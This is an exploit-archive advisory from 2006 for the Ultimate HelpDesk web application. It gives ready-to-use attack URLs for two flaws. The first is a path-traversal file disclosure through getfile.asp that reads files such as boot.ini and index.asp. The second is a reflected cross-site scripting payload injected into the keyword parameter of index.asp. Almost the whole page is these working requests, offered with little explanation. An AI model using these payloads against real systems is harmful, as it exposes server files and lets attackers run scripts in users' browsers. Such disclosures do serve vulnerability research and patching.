Ultimate HelpDesk (XSS/Local File Disclosure) Vulnerabilities

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Ultimate HelpDesk (XSS/Local File Disclosure) Vulnerabilities
# Published : 2006-12-01
# Author : ajann
# Previous Title : ContentServ 4.x (admin/FileServer.php) File Disclosure Vulnerability
# Next Title : PHPGraphy 0.9.12 Privilege Escalation / Commands Execution Exploit

*******************************************************************************
# Title   :  Ultimate HelpDesk All Version (Source/XSS) Vulnerabilities
# Author  :   ajann
# Contact :   :(

*******************************************************************************

Login Before Vulnerabilities.:


[[SOURCE]]]------------------------------------------------------

http://[target]/[path]//getfile.asp?filename=[SQL]

Example:

//getfile.asp?filename=../index.asp
//getfile.asp?filename=../../../boot.ini

[[/SOURCE]]]


[[XSS]]]---------------------------------------------------------

http://[target]/[path]//index.asp?status=open&page=tickets&title=39&searchparam=&u_input=&u_field=&intpage=2&keyword=[XSS]

Example:

//index.asp?status=open&page=tickets&title=39&searchparam=&u_input=&u_field=&intpage=2&keyword=%22%3E%3Cscript%3Ealert%28%27ajann%27%29%3B%3C%2Fscript%3E

[[/XSS]]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# www.Syue.com [2006-12-01]